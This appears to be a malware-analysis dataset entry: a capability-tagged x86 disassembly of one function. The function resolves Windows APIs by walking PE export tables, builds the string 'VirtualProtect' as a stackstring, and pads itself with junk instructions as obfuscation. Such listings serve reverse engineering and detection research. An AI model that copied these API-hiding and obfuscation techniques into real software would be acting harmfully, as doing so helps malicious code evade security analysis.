Function at 0x406f02
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
inc ecx
inc edx
dec edi
add esp, 4
xor ecx, 0xb675
jmp 0x406a82
pop ecx
push edx
or edx, 0x133e9
add edx, 0xa93e
pop edx
mov eax, dword [ebp - 0x31c]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x324], ecx
push ecx
add ecx, 0x12843
sub ecx, 0xd087
and ecx, 0x13e78
pop ecx
push edx
push edx
add esp, 4
xor edx, 0x5534
xor edx, 0x9f01
add edx, 0xd4ff
and edx, 0x15577
pop edx
mov dword [ebp - 0x770], 0
mov edx, dword [ebp - 0x324]
mov dword [ebp - 0x160c], edx
cmp dword [ebp - 0x160c], 0
jne 0x406b02
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x510], eax
jmp 0x406df3
mov ecx, dword [ebp - 0x160c]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1610], edx
jne 0x406b2a
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x510], eax
jmp 0x406df3
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1610]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1614], ecx
cmp dword [ebp - 0x1614], 0
jne 0x406b5c
mov edx, dword [ebp - 0x770]
mov dword [ebp - 0x510], edx
jmp 0x406df3
mov eax, dword [ebp - 0x324]
add eax, dword [ebp - 0x1614]
mov dword [ebp - 0x764], eax
jne 0x406b81
mov ecx, dword [ebp - 0x770]
mov dword [ebp - 0x510], ecx
jmp 0x406df3
mov edx, dword [ebp - 0x764]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x19e8], eax
mov ecx, dword [ebp - 0x764]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x19ec], edx
mov eax, dword [ebp - 0x764]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1d74], ecx
mov dword [ebp - 0x768], 0
jmp 0x406bdb
mov edx, dword [ebp - 0x768]
add edx, 1
mov dword [ebp - 0x768], edx
mov eax, dword [ebp - 0x764]
mov ecx, dword [ebp - 0x768]
cmp ecx, dword [eax + 0x18]
jae 0x406de7
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x19e8]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x76c], ecx
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x19ec]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x1d74]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x19f0], eax
mov dword [ebp - 0x19c], 0
jmp 0x406c4b
mov ecx, dword [ebp - 0x19c]
add ecx, 1
mov dword [ebp - 0x19c], ecx
mov edx, dword [ebp - 0x76c]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
test eax, eax
je 0x406cfd
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x878]
test edx, edx
je 0x406cfd
push edi
or edi, 0x149f0
sub edi, 0x372c
add edi, 0x588c
pop edi
push ecx
push edi
add esp, 4
add ecx, 0x17a7b
or ecx, 0x50
sub ecx, 0xadc6
add ecx, 0x174ff
pop ecx
mov eax, dword [ebp - 0x76c]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x878]
cmp ecx, eax
je 0x406cef
mov ecx, dword [ebp - 0x76c]
add ecx, dword [ebp - 0x19c]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [ebp + eax - 0x878]
cmp edx, ecx
jne 0x406cf6
jmp 0x406c3c
jmp 0x406cfd
push ecx
push esi
add esp, 4
and ecx, 0xcf95
sub ecx, 0xae
pop ecx
push eax
push edi
add esp, 4
jmp 0x406d1b
xor eax, 0x1712b
pop eax
push eax
jmp 0x406d28
add eax, 0xc6f3
pop eax
mov edx, dword [ebp - 0x76c]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x878]
cmp eax, edx
jne 0x406d5c
mov dword [ebp - 0xcb8], 0
jmp 0x406dcb
push edx
push edi
add esp, 4
xor edx, 0xab7c
and edx, 0x1ca
or edx, 0x80d5
pop edx
push eax
or eax, 0x15982
pop eax
push esi
push ecx
add esp, 4
jmp 0x406d87
and esi, 0xe0b1
pop esi
mov eax, dword [ebp - 0x76c]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x878]
or eax, 0x20
cmp ecx, eax
jge 0x406dc1
mov dword [ebp - 0xcb8], 0xffffffff
jmp 0x406dcb
mov dword [ebp - 0xcb8], 1
cmp dword [ebp - 0xcb8], 0
jne 0x406de2
mov ecx, dword [ebp - 0x19f0]
mov dword [ebp - 0x510], ecx
jmp 0x406df3
jmp 0x406bcc
mov edx, dword [ebp - 0x770]
mov dword [ebp - 0x510], edx
mov eax, dword [ebp - 0x510]
mov dword [ebp - 0x79c], eax
push ecx
push edi
add esp, 4
jmp 0x406e0a
xor ecx, 0xd21f
xor ecx, 0x102c
pop ecx
push ebx
sub ebx, 0x11cca
xor ebx, 0x11377
and ebx, 0x7ba9
or ebx, 0xf0b4
pop ebx
mov ecx, dword [ebp - 0x3e8]
add ecx, 0xe
mov dword [ebp - 0x1a40], ecx
push eax
or eax, 0x10e43
jmp 0x406e50
jmp 0x406e57
or eax, 0x13482
pop eax
push edx
or edx, 0x6788
sub edx, 0xdfaa
or edx, 0x14f60
pop edx
cmp dword [ebp - 0x3e8], 0
je 0x406e84
cmp dword [ebp - 0xac0], 0
jne 0x406eca
push ebx
push eax
add esp, 4
or ebx, 0xa3f0
pop ebx
push edi
push edx
add esp, 4
add edi, 0xd89c
sub edi, 0x169d7
sub edi, 0x11095
sub edi, 0x10133
pop edi
push edi
and edi, 0x1397e
pop edi
mov edx, dword [ebp - 0x79c]
mov dword [ebp - 0x19f4], edx
push 0
call dword [ebp - 0x19f4]
mov dword [ebp - 0x210c], 0xa
push eax
push ebx
add esp, 4
jmp 0x406ee0
and eax, 0x17362
or eax, 0x7c4e
pop eax
push ecx
and ecx, 0x8e62
call 0x406f02
add byte [edx + 0x45], al
dec ebp
xor eax, 0x433b3c4b
add esp, 4
pop ecx
mov eax, dword [ebp - 0x3e8]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ae], cl
mov edx, dword [ebp - 0xac0]
sub edx, dword [ebp - 0x3e8]
mov dword [ebp - 0x1698], edx
mov dword [ebp - 0xce8], 0
push ebx
add ebx, 0x1551f
xor ebx, 0x1864e
jmp 0x406f46
pop ebx
push eax
or eax, 0x17d39
or eax, 0x91e5
sub eax, 0x17c54
pop eax
push edi
xor edi, 0x9ef4
pop edi
mov byte [ebp - 0x9d4], 0x56
mov byte [ebp - 0x9d3], 0x69
mov byte [ebp - 0x9d2], 0x72
mov byte [ebp - 0x9d1], 0x74
mov byte [ebp - 0x9d0], 0x75
mov byte [ebp - 0x9cf], 0x61
mov byte [ebp - 0x9ce], 0x6c
mov byte [ebp - 0x9cd], 0x50
mov byte [ebp - 0x9cc], 0x72
mov byte [ebp - 0x9cb], 0x6f
mov byte [ebp - 0x9ca], 0x74
mov byte [ebp - 0x9c9], 0x65
mov byte [ebp - 0x9c8], 0x63
mov byte [ebp - 0x9c7], 0x74
mov byte [ebp - 0x9c6], 0
push edx
push edi
add esp, 4
call fcn.00406fe0
add byte [ecx + 0x3c], al
dec esp
dec ebx
cmp al, 0x49
inc esp
xor bh, byte [edx]